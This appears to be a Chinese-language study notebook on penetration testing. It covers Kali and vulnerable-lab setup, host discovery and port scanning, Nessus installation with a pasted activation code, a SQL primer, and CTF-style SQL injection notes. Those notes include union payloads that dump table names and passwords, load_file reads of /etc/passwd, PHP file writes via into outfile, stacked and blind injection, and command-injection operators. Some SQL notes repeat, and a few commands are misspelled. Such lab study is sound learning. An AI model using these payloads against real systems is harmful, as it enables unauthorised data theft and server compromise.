网络安全
网络安全
Vmware Workstation
桥接网络配置

打开虚拟网络编辑器,发现没有桥接网络,点设置

让桥接模式解上正确的网卡

然后主机和虚拟机就可以互相ping通了

环境搭建
Kali Linux
镜像下载
https://www.kali.org/downloads/
安装完虚拟机后,更新一下源
1 | apt update |
源列表位置
/etc/apt/source.list
设置开机启动软件
1 | update-rc.d ssh enable |
重启网络服务
1 | service networking restart |
开启网卡
1 | ifconfig eth0 up |
Windows Server 2003
桥接网络的时候,要把自己的网络设置位自动分配ip地址。
Metasploitable2
这个是一个用于漏洞利用的虚拟机,下载地址
默认用户名 msfadmin
密码 msfadmin

点这个文件就能直接打开
Linux 常用命令
查看端口状态
1 | netstat -pantu |
第二阶段
安装 Nessus
1 | dpkg -i nessus.deb |
启动服务
1 | systemctl start nessusd.service |
然后在 https://kali:8834
来配置
1 | /bin/systemctl start nessusd.service |
激活码
1 | 9130-217B-F54B-E675-C833 |
新建一个扫描 network basic scaning ,在底下输入ip就可以扫描了
配置win2003远程桌面
我的电脑
右键属性 找到远程,把这两个勾选上
由于必须要有有密码的用户,所以可以新建一个用户,
新建好了之后就可以选择用户

然后本地运行 mstsc
进行远程连接

输入对应ip地址

主机探测
二层发现
arping
只能对单个主机扫描
向对应ip地址发送一个数据包
1 | arping -c 1 [ip] |
netdiscover
它可以对多主机进行扫描
1 | netdiscover |
指定范围
1 | netdiscover -r 192.168.1.9/24 |
三层发现
容易被防火墙过滤
ping
1 | ping [ip] |
fping
可以扫描多主机
1 | fping -g 192.168.1.0/24 |
hping3
可以修改 ICMP 协议的具体内容
1 | hping3 -c 3 -1 192.168.1.1 --icmpcode 1 |
四层发现
比三层发现更为可靠,可以探测远程主机
nmap
1 | ping edu.51cto.com |

hping3
1 | hping3 -c 3 -udp [ip] |
nWatch
这是在GitHub上的一个项目,用python写的脚本
它需要nmap
这个包
1 | apt install python-nmap |
端口扫描
nmap
1 | nmap [ip] |
dmitry
tcp 端口扫描
1 | dmitry -p [ip] |
netcat
1 | nc -nvz [ip] 20-30 |
端口分类
- 0-65535
TCP 和UDP端口是独立的,两个协议的端口号也是独立的。可以同时拥有比如 235端口
周知端口
0-1023, 其中 80是www服务,21是FTP服务
动态端口
49152-65535 进行动态分配的端口
注册端口
1024到49251.分配给已经安装的程序
nmap获取Banner
1 | nmap [ip] --script banner -p [端口号] |
dimitry获取banner
1 | dimitry -pb [ip] |
netcat 获取banner
1 | nc -nv [ip] [端口] |
端口,操作系统信息获取
端口程序信息
1 | nmap -p [端口] -sV [ip] |
操作系统信息
1 | nmap -O [ip] |
有授权下,完整测试
1 | namp -A -v -T4 [ip] |
漏洞扫描
系统漏洞扫描
扫描原理
漏洞扫描器对漏洞进行扫描,来验证目标是否存在具体漏洞。也存在错误扫描,需要对漏洞进行验证
nmap扫描漏洞
1 | nmap --script vuln [ip] |
nessus
使用者者比较多
漏洞利用
1 | msfconsole |
Web应用漏洞扫描
owasp-zap
nikto
1 | nikto -host [ip] |
漏洞利用
1 | sqlmap -u "codes.." |
CTF
工具
curl
1 | curl -v <url> |
可以查看请求,回复,以及源代码
SQL 语法基础
- 查询语句
select 字段 1, 字段 2,… from 表名 ; 查询结果重命名使用 : as 重命名 eg: select uname,uid as userId from t_user; 查询所有字段使用“ * ” : select * from 表名 ;
- 条件查询
select 字段 1, 字段 2,… from 表名 where 条件 ; select 字段 1, 字段 2,… from 表名 where 某字段 between X and Y;( 等同于大于等于 X 小于等于 Y ,若是字符串则按字典序 ) select 字段 1, 字段 2,… from 表名 where 某字段 is [not] null;( 字段为空 [ 非空 ]) select 字段 1, 字段 2,… from 表名 where 某字段 in (A , B);( 找出某字段等于 A 或者 B 的信息,等同于 or)
- 模糊查询
select 字段 1, 字段 2,… from 表名 where 某字段 like ‘%a_’; 注意:在模糊查询当中’ %‘ 代表多个字符,’ _’ 代表一个字符;
- 排序
select 字段 1, 字段 2,… from 表名 order by 某字段 [asc,desc],…; 注意:默认是升序。指定排列顺序使用 asc 或者 desc 修饰;
- 分组排序
select sum( 某字段 ) from 表名 ; 注意:分组函数不能直接出现在 where 语句里;分组函数自动忽略 NULL ;分组函数依赖于 “group by”
- 单行处理函数
ifnull 函数: ifnull( 字段 , 目标值 ) 如果字段不为 NULL ,则 IFNULL 函数返回字段 ; 否则返回 目标值;
- 分组查询
group by : 按照某个字段或者某些字段进行分组; having : 对分组之后的数据进行再过滤。 select 分组函数 , 分组字段 ,… from 表名 group by 某字段 ,…; select 分组函数 , 分组字段 ,… from 表名 group by 某字段 ,…having 条件 ;
- 去除重复记录
select distinct 字段 1, 字段 2,… from 表名 ;
- 单行处理函数
ifnull 函数: ifnull( 字段 , 目标值 ) 如果字段不为 NULL ,则 IFNULL 函数返回字段 ; 否则返回 目标值;
- 分组查询
group by : 按照某个字段或者某些字段进行分组; having : 对分组之后的数据进行再过滤。 select 分组函数 , 分组字段 ,… from 表名 group by 某字段 ,…; select 分组函数 , 分组字段 ,… from 表名 group by 某字段 ,…having 条件 ;
- 去除重复记录
select distinct 字段 1, 字段 2,… from 表名 ;
创建数据库: create database 数据库名 创建数据库: create table 数据库名 创建表 : create table 表名 ( 字段名 1 数据类型 default 默认值 , 字段名 2 数据类型 [ 单一 约束 ], … [ 联合约束 ( 字段 1, 字段 2)] );
insert 语句(插入) 语法格式: insert into 表名 ( 字段名 1, 字段名 2, 字段名 3,…) value ( 值 1, 值 2, 值 3,…),[( 值 1, 值 2, 值 3,…) 插入多行 ]; 注意:字段数量和值的数量相等,数据类型要对应;未插入值的字段为默认字段; update 语句(修改) 语法格式: update 表名 set 字段名 1 = 值 1, 字段名 2 = 值 2,… where 条件 ; delete 语句(删除) delete from 表名 where 条件 ;( 删除大表,截断式删除 )
显示
用户
1 | user() |
数据库
1 | database() |
字符串
字符串也可以作为bytes来写
1 | select 0x616263 = 'abc'; |
Sqlite
注释是 --
SQL注入
看用户名结尾加上 #
, 是注释的意思
万能公式
1 | 万能公式 |
url的码
#
是 %23
注入分类
数字型
1 | select * from user where id=? |
字符型
1 | select * from user where username='?' |
搜索型
1 | select * from user where username = '%?%' |
用万能公式可以查看
比如 1 and 1=1
, 用数字型会查 1
,
字符型会变成 1 and 1=1
判断注入点有效
字符型输入 1'and '1'='1
, 1'and '1'='2
然后再试试 如果是可注入的话,这两个结果是有区别的
联合查询
判断有几列
用 order by
,orderby是根据第几列排序,如果报错说明正好多了一列
1 | select * from users union select 1,2 order by 2; |
判断显示的字段顺序
输入下面可以查询成功,说明是1,2 列
1 | 1' union select 1,2 # |
获取当前数据库名字
1 | 1' union select 1,database() # |
获取当前数据库表名
group_concat
可以把多行数据放到一行里,
information_schema
是信息数据库,保存mysql服务器维护的所有其他数据库的信息
1 | 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # |
获取字段名
1 | 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # |
查询数据
1 | 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # |
如果groupconcat不能用
可以用limit , 从x行开始输出y个,下面显示的是第4个
1 | select name from students limit 4,1 |
Command Injection
常用符号:
当xx执行成功的时候,不会执行yy
1 | xx || yy |
pipe
1 | xx | yy |
文件操作
MYSQL 变量
通过 show variables;
然后通过 like 可以匹配
secure file priv
secure_file_priv
变量对文件读写有影响,它指定了哪些目录可以进行读写操作,默认是
null
, 当它没有具体值时,表示不对导入导出做出限制
读取文件
1 | select load_file('/flag') |
utf8
1 | select convert(load_file("/etc/passwd") using utf8); |
写入文件
1 | select 0x616262 into outfile '/tmp/outfile.php'; |
也可以
1 | select 0x616262 into dumpfile '/tmp/d.php'; |
dumpfile 只能导出一行,没有特使字符的转换
outfile可以导出多行,有特殊字符的转换
堆叠注入
可以执行多条语句
在secure_file_priv
是 null的情况下可以用
1 | set global general_log=on; |
只有支持多条语句的时候才能用
过滤了select可以用handler
buuctf 随便注
1 | handler users open as hd; |
用rename
1 | rename table `words` to `words2`; |
用prepare
1 | prepare st from concat('s','elct',' * from `1919`'); execute st;# |
宽字节注入
可以在php中这样判断
1 | echo strlen("和"); // 3 |
盲注
可以这样查找
1 | select * from users where id='1' and substr((select database()),1,1)='a' |
靶场建立
https://deelmind.com/
HTB
https://www.hackthebox.com/
Pikachu
1 | sudo apt install docker.io |
DVWA
1 | sudo apt install docker.io |
账号密码: admin
, password
一开始进去再setup里面可以点create database
然后进入后再DVWA Security里面把 Security level 设置成 low
Cookie
浏览器开发者工具,里面Application里面可以找到Cookie,双击可以修改
python 获取,修改cookie
1 | with requests.Session() as session: |